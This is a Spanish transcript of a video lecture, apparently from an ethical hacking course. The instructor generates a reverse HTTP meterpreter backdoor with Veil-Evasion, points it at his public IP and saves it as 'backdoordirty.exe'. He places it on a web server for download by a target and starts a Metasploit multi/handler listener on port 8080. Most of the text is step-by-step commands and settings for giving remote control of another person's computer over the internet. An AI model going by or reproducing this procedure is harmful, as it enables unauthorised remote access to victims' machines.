Educador: Bien, ahora
sigamos adelante.
Creemos una puerta trasera,
y la única diferencia es que configuraremos la IP en la
IP pública en lugar de la IP local, así que
crearemos una puerta trasera exactamente de
la misma manera que solíamos crearla cuando
pirateamos dispositivos en la misma red.
Así que usaré Veil-Evasion y lo haré un poco rápido porque
lo hemos hecho y no hay nada
nuevo con esto, así que podemos hacer una
lista para ver lo que tenemos.
Usaré el número 9, así que es exactamente
la misma carga útil que usamos en nuestro video anterior.
Es la carga de http inversa.
Entonces usaremos 9,
y podemos ver las opciones aquí.
Podemos ver que el LPORT está configurado en 8080 por
defecto y lo mantendré igual.
Lo único que voy a cambiar es el LHOST,
y en los videos anteriores cuando recibíamos
conexiones en nuestra propia computadora, solíamos
configurarlo en la IP local, así que si
hago ifconfig wlan0, solíamos configurarlo
a 192. 168 0. 1 porque esa
es la IP que usan los dispositivos dentro de la red.
Bueno, cuando quiera hacer cosas en el
exterior, queremos usar la IP real porque estas IP internas
no son visibles para las computadoras fuera de la red.
Así que usaré la IP que veo en
Google, así que cuando escriba 'cuál es mi
ip', obtengo esta IP y la usaré como LHOST en mi
puerta trasera, así que solo voy
a copiar esto y lo
voy a configurar aquí.
Y lo siento, no lo pegué correctamente,
así que listo.
Haga clic en 'información' para asegurarse de que todo
esté configurado correctamente, por lo que PORT 8080 estamos usando la
IP pública, por lo que este es el paso más importante
en esto, y luego haremos 'generar'.
Y solo vamos a llamar a esto 'backdoordirty. exe'.
Vas a presionar Enter.
Y eso ha generado mi carga útil para mí, por
lo que está almacenado aquí.
Así que
de nuevo, como de costumbre, en
realidad voy a copiar esto y pegarlo
en mi var www html y le
mostraré cómo incluso descargar esto desde Internet desde fuera de la red.
Así que voy a copiar esto en el directorio de mi servidor web.
Bien,
eso está hecho.
Ahora todo lo que tenemos que hacer es
escuchar las conexiones entrantes.
Haremos eso usando el controlador múltiple, así
que lo hemos hecho antes.
Solo lo haré muy rápido.
Y cuando voy a escuchar el controlador múltiple, en
realidad voy a escuchar en mi IP local, así que no voy
a escuchar en el externo, voy
a escuchar en el local porque no puedo
escuchar en la externa.
En realidad estoy en la red
y solo tengo control sobre mi computadora actual.
Entonces, lo que voy a hacer ahora
es aquí, en la máquina Kali voy a escuchar en el
PUERTO 8080, y en el dispositivo externo, la puerta trasera
intentará conectarse a la puerta
trasera, así que el paso después de eso configuraremos Reenvío de IP para
permitir que el enrutador reenvíe los puertos 8080 a la máquina
Kali, pero primero
tenemos que escuchar en el
puerto 8080 en la máquina Kali,
y lo haremos utilizando el controlador múltiple.
Así que solo voy a hacer msfconsole.
Nuevamente, hicimos
esto antes, así que lo haré un poco rápido.
Así que voy a 'usar exploit / multi / handler'.
Voy a configurar la carga
útil en windows / meterpreter / reverse_http.
Luego, configuraremos el LPORT en 8080, así que ese
es el puerto en el que tendremos conexiones, y luego configuraré
el LHOST, el host de
escucha, a mi
IP privada como dije antes, así que '
Voy a configurar
LHOST a
192. 168 0. 11 '.
Ahora voy a hacer 'mostrar opciones' para
asegurarme de que todo se haga
correctamente, y podemos ver que el LPORT está configurado en 8080 y el host local está
configurado en 192. 168 0. 11 y
estamos usando una carga útil de
windows / meterpreter / reverse_http.
Entonces todo está bien.
Voy a hacer 'explotar'.
Como puede ver
aquí, está escuchando en mi IP
privada y está escuchando en PORT 8080.
Así que ahora hicimos los dos
pasos principales: creamos
una puerta trasera, y la puerta trasera nos devolverá
las conexiones en función de la dirección
IP real, y estamos escuchando en nuestra máquina local.
Estamos escuchando en el PUERTO 8080 en la máquina Kali.
Entonces, cuando la persona objetivo
ejecuta la puerta trasera en Internet que van
a obtener, la puerta
trasera intentará conectarse a esta IP en el PUERTO 8080.
El único problema ahora es la puerta de
enlace, que es el enrutador aquí.
No tiene PUERTO 8080 abierto, por lo
que recibirá la conexión.
No va a saber qué hacer con él,
por lo que en realidad
necesitamos configurar el enrutador para que le diga cada
vez que obtenga algo, cada vez que obtenga una conexión en el
PUERTO 8080, quiero que lo redirija a mi máquina Kali.
Y podemos hacerlo de dos
maneras, y hablaremos de ellas en la próxima conferencia.